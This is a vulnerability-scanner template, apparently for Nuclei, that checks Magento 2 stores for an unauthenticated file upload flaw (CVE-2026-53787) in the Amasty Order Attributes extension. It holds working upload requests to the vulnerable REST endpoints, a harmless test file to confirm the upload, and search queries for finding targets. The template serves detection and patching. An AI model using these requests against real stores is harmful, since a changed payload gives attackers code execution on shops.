Magento 2 Amasty Order Attributes < 4.0.0 - Unauthenticated Arbitrary File Upload

id: CVE-2026-53787

info:
  name: Magento 2 Amasty Order Attributes < 4.0.0 - Unauthenticated Arbitrary File Upload
  author: 0x_Akoko
  severity: critical
  description: |
    Amasty Order Attributes for Magento 2 < 4.0.0 contains an unrestricted file upload vulnerability caused by lack of authentication and validation in the upload endpoint, letting unauthenticated attackers upload arbitrary files including PHP, enabling remote code execution or malware hosting.
  impact: |
    Unauthenticated attackers can upload malicious files, potentially leading to remote code execution, malware hosting, or stored cross-site scripting.
  remediation: |
    Update to version 4.0.0 or later.
  reference:
    - https://sansec.io/research/amasty-order-attributes-file-upload
    - https://www.vulncheck.com/advisories/amasty-order-attributes-for-magento-2-unauthenticated-arbitrary-file-upload
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53787
  classification:
    cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
    cvss-score: 9.8
    cve-id: CVE-2026-53787
    epss-score: 0.05638
    epss-percentile: 0.92618
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 5
    vendor: amasty
    product: order-attributes
    shodan-query: http.component:"Magento"
    google-query: inurl:"/rest/V1/amasty_orderattr"
  tags: cve,cve2026,magento,amasty,file-upload,rce,unauth,intrusive

variables:
  c1: "{{to_lower(rand_text_alpha(1))}}"
  c2: "{{to_lower(rand_text_alpha(1))}}"
  rest: "{{to_lower(rand_text_alpha(6))}}"
  filename: "{{c1}}{{c2}}{{rest}}.txt"

flow: http(1) && (http(2) || http(3) || http(4)) && http(5)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(to_lower(body), "magento", "mage-", "checkout", "data-mage-init") || contains_any(to_lower(header), "x-magento", "magento")'
        internal: true
        condition: and

  - raw:
      - |
        POST /rest/V1/amasty_orderattr/uploadFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileContent":{"base64_encoded_data":"Q1ZFLTIwMjYtNTM3ODctdGVzdA==","fileName_with_extension":"{{filename}}"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

  - raw:
      - |
        POST /rest/all/V1/amasty_orderattr/uploadFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileContent":{"base64_encoded_data":"Q1ZFLTIwMjYtNTM3ODctdGVzdA==","fileName_with_extension":"{{filename}}"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

  - raw:
      - |
        POST /rest/default/V1/amasty_orderattr/uploadFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileContent":{"base64_encoded_data":"Q1ZFLTIwMjYtNTM3ODctdGVzdA==","fileName_with_extension":"{{filename}}"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/media/amasty_checkout/{{c1}}/{{c2}}/{{filename}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-53787-test")'
          - 'contains(content_type, "text/plain")'
        condition: and
# digest: 490a0046304402204189a656d8a6fd88819cd2fd404933790390dd1fe42c085479d4f5c51e048a60022061c364b1e137de1369a02fe4c3914c0173683d8cef80b7fa56393e7bebb8bb2c:922c64590222798bb761d5b6d8e72950